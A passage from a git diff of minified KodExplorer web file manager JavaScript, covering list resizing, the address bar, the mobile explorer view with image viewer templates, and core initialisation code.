l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),f()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]<t[a])&&(i[a]=e[a])})},n=function(){if(!r()){var e=jsonEncode(i);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=i);var a="",n=0;$.each(e,function(e,i){0==e.indexOf("file")&&(t[e]>=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),f=$(".frame-right"),u=e[r];if(c>u-8&&u+8>c&&(c=u+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),f.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),f.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),f(e)},f=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},u=function(e){G.user_config.file_icon_size=e,f(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),i=n>=i?n:i,i=i>=o?o:i;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,f=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(f-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+f+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&u(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),u(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;a(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='<li class="yarnlet first"><a title="@1@" data-path="@1@" style="z-index:{$2};"><span class="left-yarn"></span>{$3}</a></li>\n',i='<li class="yarnlet "><a title="@1@" data-path="@1@" style="z-index:{$2};">{$3}</a></li>\n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r='<span class="address_ico">'+core.iconSmall(l.icon)+"</span>",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+'<span class="title_name">'+htmlEncode(s)+"</span>");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",'<span class="title_name">'+htmlEncode(a[d])+"</span>"),c+=o;return'<ul class="yarnball">'+c+"</ul>"};void 0==e&&$("#yarnball").html(n(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},a=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},n=function(e,i){ui.path.list(e),t(i)},o=function(){var e=a();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}); \ No newline at end of file diff --git a/static/js/app/src/explorer_wap/main.js b/static/js/app/src/explorer_wap/main.js index 0319a56..5775d72 100755 --- a/static/js/app/src/explorer_wap/main.js +++ b/static/js/app/src/explorer_wap/main.js @@ -1,5 +1,5 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/explorer_wap/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","./ui","../../common/core","./path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".fileContiner",FileBoxClass:".fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".fileContiner .title",SelectClass:".fileContiner .select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folderList",pageApp:"explorer_wap",treeAjaxURL:"index.php?explorer/treeList&app=explorer",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),ui=e("./ui"),core=e("../../common/core"),ui.path=e("./path"),ui.pathOpen=ui.path.pathOpen,$(document).ready(function(){core.init(),ui.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})})}),define("app/src/explorer_wap/ui",[],function(e){var t=e("./tpl/file_list_make_wap.html"),i=function(){$(".fileContiner .picture img").lazyload({placeholder:G.static_path+"images/common/loading_tree.gif",container:$(".bodymain")})},a=function(e,t){var t="down"==t?-1:1;return function(i,a){return i=i[e],a=a[e],a>i?-1*t:i>a?1*t:void 0}},n=e("./tpl/photoSwipe.html");$(n).appendTo("body"),e.async(["lib/PhotoSwipe/photoswipe.min.js","lib/PhotoSwipe/photoswipe-ui-default.min.js","lib/PhotoSwipe/photoswipe.css","lib/PhotoSwipe/default-skin/default-skin.css"],function(){});var o=function(e){var t=[],i=0;$(".picasaImage img").each(function(a){var n=pathHashDecode($(this).parent().parent().attr("data-path")),o=$(this).parent().attr("picasa"),s=$(this).attr("data-original"),r=30;t.push({src:o,msrc:s,w:$(this).width()*r,h:$(this).height()*r}),e==n&&(i=a)});var a={history:!1,focus:!0,index:i,bgOpacity:.8,maxSpreadZoom:5,closeOnScroll:!1,shareEl:!1,showHideOpacity:!0,showAnimationDuration:300,hideAnimationDuration:0,getThumbBoundsFn:function(e){var t=$(".picasaImage img")[e],i=window.pageYOffset||document.documentElement.scrollTop,a=t.getBoundingClientRect();return{x:a.left,y:a.top+i,w:a.width}}},n=new PhotoSwipe($(".pswp").get(0),PhotoSwipeUI_Default,t,a);n.init(),$(".pswp__caption__center").css({"text-align":"center"})},s=function(e){for(var a=template.compile(t),n="",o=G.json_data.folderlist.concat(G.json_data.filelist),s=0;o.length>s;s++){var r="folder"==o[s].type?"list_folder":"list_file",l={LNG:LNG,G:G,list:o[s],index:s,type:r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}""==n&&(n='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>"),n+="<div style='clear:both'></div>",e?$(Config.FileBoxSelector).hide().html(n).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(n);var c=$(Config.FileBoxClass).not(".systemBox");$('<i class="file-action icon-font icon-ellipsis-horizontal"></i>').appendTo(c),$(Config.FileBoxSelector+" .file:nth-child(2n)").addClass("file2"),i()},r=function(e,t){var i="index.php?explorer/pathList&path="+urlEncode(G.this_path);G.user&&(i="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(G.this_path)),void 0==e&&(e=!0),void 0==t&&(t=!1),e?$.ajax({url:i,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(100)},success:function(e){return $(".tools-left .msg").fadeOut(100),e.code?(G.json_data=c(e.data),s(t),u(),ui.header.addressSet(),void 0):(Tips.tips(e),$(Config.FileBoxSelector).html(""),!1)},error:function(e,t,i){$(".tools-left .msg").fadeOut(100),$(Config.FileBoxSelector).html(""),core.ajaxError(e,t,i)}}):(s(t),u())},l=function(e){r(!0,!1,e)},c=function(e){e=d(e);var t=e.folderlist,i=e.filelist;return t=t.sort(a("name","up")),i=i.sort(a("name","up")),e.folderlist=t,e.filelist=i,e},d=function(e){if(!e)return e;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.name=htmlEncode(a.name),a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode)}return e.filter_success=!0,e},p=function(e,t){var i=pathHashDecode(e.attr("data-path")),a=e.find(".ico").attr("filetype");switch(t){case"action_copy":ui.path.copy(i,a);break;case"action_rname":ui.path.rname(i);break;case"action_download":ui.path.download(i,a);break;case"action_remove":ui.path.remove(i,a);break;default:}},f=function(){$(window).bind("hashchange",function(){var e=window.location.href,t=e.split("#");""!=t[1]&&t[1]!=G.this_path&&t[1]!=urlEncode(G.this_path)&&ui.path.list(urlDecode(t[1]))}),$(".fileContiner .file").die("click").live("click",function(e){if($(".fileContiner .file .file_action_menu").animate({left:"100%"},300,0,function(){$(this).remove()}),$(this).find(".file_action_menu").length>0){if($(e.target).hasClass("action_menu")){var t=$(e.target).attr("data-action");p($(this),t)}if($(e.target).parent().hasClass("action_menu")){var t=$(e.target).parent().attr("data-action");p($(this),t)}}else{if($(e.target).hasClass("file-action")){var i=$(".file_menu .file_action_menu").clone(),a=!0;return $(e.target).parent().hasClass("file_not_writeable")?a=!1:G.json_data.info&&G.json_data.info.can_upload||(a=!1),a||(i.find("[data-action=action_remove]").remove(),i.find("[data-action=action_rname]").remove()),i.appendTo($(this)),i.removeClass("hidden").css({left:"100%"}).animate({left:"0%"},300,0,function(){}),void 0}var n=$(this).find(".ico").attr("filetype"),o=pathHashDecode($(this).attr("data-path"));ui.path.open(o,n),stopPP(e)}}),$(".address li").die("click").live("click",function(e){var t=$(this).find("a").attr("data-path");ui.path.list(t),stopPP(e)})},u=function(){if(G.json_data.info){var e=G.json_data.info,t=e.path_type,i=G.json_data.path_read_write;void 0!=i&&"writeable"!=i||t==G.KOD_USER_RECYCLE||t==G.KOD_USER_SHARE||t==G.KOD_GROUP_SHARE?G.json_data.info.can_upload=!1:(G.json_data.info.can_upload=!0,1!=G.is_root&&t==G.KOD_GROUP_PATH&&"guest"==e.role&&(G.json_data.info.can_upload=!1)),G.json_data.info.can_upload?$("[data-action=upload],[data-action=newfolder],[data-action=past]").removeClass("hidden"):$("[data-action=upload],[data-action=newfolder],[data-action=past]").addClass("hidden")}},h=function(){$.ajax({url:"./index.php?explorer/treeList&app=explorer&type=init",dataType:"json",success:function(e){e.code||Tips.tips(e);for(var t="",i=0;e.data.length>i;i++){var a=e.data[i];t+='<li data-action="pathOpen" data-path="'+a.path+'"><i class="x-item-file x-'+a.ext+'"></i><span>'+a.name+"</span></li>"}t+='<li data-action="exit"><i class="x-item-file x-setting"></i><span>'+LNG.ui_logout+"</span></li>",$(".left_menu_path").html(t),$(".panel-menu li").bind("click",function(){$("body").removeClass("menu-open");var e=$(this).attr("data-action");switch(e){case"pathOpen":ui.path.list($(this).attr("data-path"));break;case"exit":window.location.href="./index.php?user/logout";break;default:}})}})};return{f5:r,f5Callback:l,openImage:o,init:function(){if(""==G.this_path){var e=window.location.href.split("#");if(2==e.length&&""!=trim(urlDecode(e[1])))G.this_path=urlDecode(e[1]);else{var t=G.user_id||G.sid,i=LocalData.get("this_path_"+t);G.this_path=i?i:G.myhome}}l(function(){r(!1,!0)}),h(),f(),ui.header.bindEvent()},header:{bindEvent:function(){$(".left_tool").on("click",function(){$("body").toggleClass("menu-open")}),$(".panel-mask").on("click",function(){$("body").toggleClass("menu-open")}),$(".right_tool").on("click",function(e){$(this).parent().toggleClass("open"),stopPP(e)}),$("body").on("click",function(e){$(e).hasClass("right_tool")||$(".menu_group").removeClass("open")}),$(".menu-right_tool li").on("click",function(e){$(".menu_group").removeClass("open");var t=$(this).attr("data-action");switch(t){case"upload":core.upload();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"search":core.search("",G.this_path);break;case"past":ui.path.past();break;default:}return stopPP(e),!1}),G.share_info&&G.share_info.can_upload&&$("[data-action=upload]").removeClass("hidden")},addressSet:function(){var e=G.this_path,t=function(e){var t='<li class="yarnlet first"><a title="@1@" data-path="@1@" style="z-index:{$2};"><span class="left-yarn"></span>{$3}</a></li>\n',i='<li class="yarnlet "><a title="@1@" data-path="@1@" style="z-index:{$2};">{$3}</a></li>\n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r='<span class="address_ico">'+core.iconSmall(l.icon)+"</span>",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+'<span class="title_name">'+htmlEncode(s)+"</span>");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",'<span class="title_name">'+htmlEncode(urlDecode(a[d]))+"</span>"),c+=o;return c};$(".frame-main .address ul").html(t(e))},gotoPath:function(){var e=$("input.path").val();e=e.replace(/\\/g,"/"),$("input.path").val(e),"/"!=e.substr(e.length-1,1)&&(e+="/"),ui.path.list(e),ui.header.addressSet()}}}}),define("app/src/explorer_wap/tpl/file_list_make_wap.html",[],"<!-- 列表模式文件夹 -->\n{{if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.permission}}:{{list.mode}}&#10;{{LNG.modify_time}}:{{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n </div>\n <div class='filename'>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <!-- <div class='filetype'>{{LNG.folder}}</div> -->\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}}:{{list.mode}}&#10;{{LNG.modify_time}}:{{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n\n <div class='filename'>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <!-- <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div> -->\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{/if}}\n"),define("app/src/explorer_wap/tpl/photoSwipe.html",[],'<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">\n <div class="pswp__bg"></div>\n <!-- Slides wrapper with overflow:hidden. -->\n <div class="pswp__scroll-wrap">\n <!-- Container that holds slides. PhotoSwipe keeps only 3 slides in DOM to save memory. -->\n <div class="pswp__container">\n <!-- don\'t modify these 3 pswp__item elements, data is added later on -->\n <div class="pswp__item"></div>\n <div class="pswp__item"></div>\n <div class="pswp__item"></div>\n </div>\n <!-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. -->\n <div class="pswp__ui pswp__ui--hidden">\n <div class="pswp__top-bar">\n <div class="pswp__counter"></div>\n <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>\n <button class="pswp__button pswp__button--share" title="Share"></button>\n <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>\n <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>\n <div class="pswp__preloader">\n <div class="pswp__preloader__icn">\n <div class="pswp__preloader__cut">\n <div class="pswp__preloader__donut"></div>\n </div>\n </div>\n </div>\n </div>\n <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">\n <div class="pswp__share-tooltip"></div> \n </div>\n\n <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">\n </button>\n\n <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">\n </button>\n <div class="pswp__caption">\n <div class="pswp__caption__center"></div>\n </div>\n </div>\n </div>\n</div>\n'),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf",